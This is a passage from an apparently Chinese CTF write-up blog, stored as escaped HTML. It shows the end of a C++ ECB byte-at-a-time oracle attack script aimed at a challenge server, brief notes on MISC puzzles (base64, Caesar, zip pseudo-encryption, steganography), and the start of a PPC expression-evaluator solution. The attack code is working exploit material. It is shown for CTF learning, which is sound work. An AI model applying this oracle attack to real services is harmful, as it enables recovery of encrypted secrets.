class=\"line\"\u003estring banner_encrypted;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring flag_uncovered;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eECB_Atack_main\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eWSAData wd;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"built_in\"\u003eWSAStartup\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eMAKEWORD\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e), \u0026amp;wd));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring message;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring name;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e30\u003c/span\u003e; i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003cspan class=\"comment\"\u003e//30=14+16\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::server = \u003cspan class=\"built_in\"\u003esocket\u003c/span\u003e(AF_INET, SOCK_STREAM, IPPROTO_TCP);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eSOCKADDR_IN addrServ;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_family = AF_INET;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_port = \u003cspan class=\"built_in\"\u003ehtons\u003c/span\u003e(\u003cspan class=\"number\"\u003e9997\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_addr.S_un.S_addr = \u003cspan class=\"built_in\"\u003einet_addr\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;123.56.218.81\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(ECB_Atack::server, (SOCKADDR*)\u0026amp;addrServ, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(SOCKADDR));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (SOCKET_ERROR == ret) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;socket connect failed\\n\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(ECB_Atack::server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ename = \u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; i; j++)name += \u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(name);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring encrypted_banner = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;\\n\u0026quot;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring constructed_banner = \u003cspan class=\"string\"\u003e\u0026quot;hello, \u0026quot;\u003c/span\u003e + name + \u003cspan class=\"string\"\u003e\u0026quot;, your mission\u0026#x27;s flag is: \u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e known_bits = constructed_banner.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() % \u003cspan class=\"number\"\u003e16\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//block size\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//check valid;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(constructed_banner.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e16\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emessage = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;\\n\u0026quot;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (encrypted_banner.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(message) == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eassert\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;what the...\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//jump to last block\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring last_block = \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003econstructed_banner.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e16\u003c/span\u003e * \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u003c/span\u003e(constructed_banner.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() / \u003cspan class=\"number\"\u003e16\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring payload = last_block + ECB_Atack::flag_uncovered;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e96\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(payload + ECB_Atack::visible_char[i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emessage = message.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, message.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;\\n\u0026quot;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (encrypted_banner.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(message)!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eECB_Atack::flag_uncovered += ECB_Atack::visible_char[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(ECB_Atack::server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; ECB_Atack::flag_uncovered;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"MISC\"\u003eMISC\u003c/h2\u003e\u003ch4 id=\"BASE64\"\u003eBASE64\u003c/h4\u003e\u003cp\u003e如题目要求,将文本进行base64解码即可得到flag\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e题外话:熟悉base64,32,16编码的过程对RE帮助极大\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"凯撒密码\"\u003e凯撒密码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e密码学(?)的鼻祖(?)凯撒将凯撒密码用于战争中的密令传递,开辟了(???)新的战争空间(胡诌)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将每一位拉丁字母按a-z的顺序向后推即可\u003cbr\u003e遇到题目中没有给出密钥的情况。。。可以把26种可能全打出来找合理的\u003c/p\u003e\u003cp\u003e####栅栏密码\u003c/p\u003e\u003cp\u003e错位重组\u003cbr\u003e遇到栅栏密码加密过的字符串s时可以优先尝试密钥divisor(|s|),其中divisor(x)表示的因数\u003c/p\u003e\u003ch4 id=\"zip伪加密\"\u003ezip伪加密\u003c/h4\u003e\u003cp\u003e先修复加密位,将单数改成双数(00)\u003cbr\u003e修复了加密位的我一脸懵逼,直到我向shell里输入了\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebinwalk zip\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e欸。。。怎么没有zip头。。。\u003cbr\u003e修复zip头,拿flag\u003c/p\u003e\u003ch4 id=\"backdoor\"\u003ebackdoor\u003c/h4\u003e\u003cp\u003e流量分析\u003cbr\u003e看到50 4B的那一刻就跳起来了\u003c/p\u003e\u003ch4 id=\"弄脏的二维码\"\u003e弄脏的二维码\u003c/h4\u003e\u003cp\u003e修复定位符,剩下的交给QR code的容错\u003c/p\u003e\u003ch4 id=\"蒙娜丽圆的微笑\"\u003e蒙娜丽圆的微笑\u003c/h4\u003e\u003cp\u003eemmmmm\u003cbr\u003e小圆圆!小圆圆!\u003cbr\u003e拿ps或者其他什么逐帧浏览\u003c/p\u003e\u003ch4 id=\"miku’s-secret\"\u003emiku’s secret\u003c/h4\u003e\u003cp\u003e收集隐写工具大比拼\u003cbr\u003e这个工具\u003cbr\u003elsb隐写,密钥在二维码里\u003c/p\u003e\u003ch2 id=\"PPC\"\u003ePPC\u003c/h2\u003e\u003cp\u003eemmmmm 这PPC跟我想象的不太一样啊\u003c/p\u003e\u003ch4 id=\"BAT\"\u003eBAT\u003c/h4\u003e\u003cp\u003e无脑编程题,没本事拿bat解。\u003c/p\u003e\u003ch4 id=\"Cirno\"\u003eCirno\u003c/h4\u003e\u003cp\u003e本来特别兴奋,多年闲置着的计算表达式的值的函数终于派上用场了,结果人家py自带计算表达式的值。\u003cbr\u003e不管不管嘤嘤嘤我就拿 C in CPP\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;WinSock2.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;stack\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003epragma\u003c/span\u003e comment(lib,\u003cspan class=\"meta-string\"\u003e\u0026quot;Ws2_32.lib \u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e\u0026gt;operators;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; operands;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eprocess\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e operation = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan 